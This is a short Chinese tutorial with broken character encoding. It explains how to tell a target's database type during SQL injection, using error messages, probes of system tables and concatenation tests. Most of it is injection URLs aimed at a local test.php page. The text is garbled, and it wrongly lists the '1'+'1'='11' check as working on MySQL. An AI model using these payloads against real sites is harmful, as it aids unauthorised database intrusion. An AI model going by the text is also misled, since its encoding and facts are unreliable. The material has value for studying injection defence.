sql注入過程中后臺數(shù)據(jù)庫類型的三種判斷方式

發(fā)布時間：2020-06-24 22:37:28 來源：網(wǎng)絡(luò) 閱讀：3768 作者：白烏鴉_ 欄目：數(shù)據(jù)庫

后臺數(shù)據(jù)庫類型判斷：

一、通過頁面返回的報錯信息，一般情況下頁面報錯會顯示是什么數(shù)據(jù)庫類型，在此不多說；

二、通過各個數(shù)據(jù)庫特有的數(shù)據(jù)表來判斷：

1、mssql數(shù)據(jù)庫

http://127.0.0.1/test.php?id=1 and (select count(*) from sysobjects)>0 and 1=1

2、access數(shù)據(jù)庫

http://127.0.0.1/test.php?id=1 and (select count(*) from msysobjects)>0 and 1=1

3、mysql數(shù)據(jù)庫(mysql版本在5.0以上)

http://127.0.0.1/test.php?id=1 and (select count(*) from information_schema.TABLES)>0 and 1=1

4、oracle數(shù)據(jù)庫

http://127.0.0.1/test.php?id=1 and (select count(*) from sys.user_tables)>0 and 1=1

三、通過各數(shù)據(jù)庫特有的連接符判斷數(shù)據(jù)庫類型：

1、mssql數(shù)據(jù)庫

http://127.0.0.1/test.php?id=1 and '1' + '1' = '11'

2、mysql數(shù)據(jù)庫

http://127.0.0.1/test.php?id=1 and '1' + '1' = '11'

http://127.0.0.1/test.php?id=1 and CONCAT('1','1')='11'

3、oracle數(shù)據(jù)庫

http://127.0.0.1/test.php?id=1 and '1'||'1'='11'

http://127.0.0.1/test.php?id=1 and CONCAT('1','1')='11'

向AI問一下細節(jié)

猜你喜歡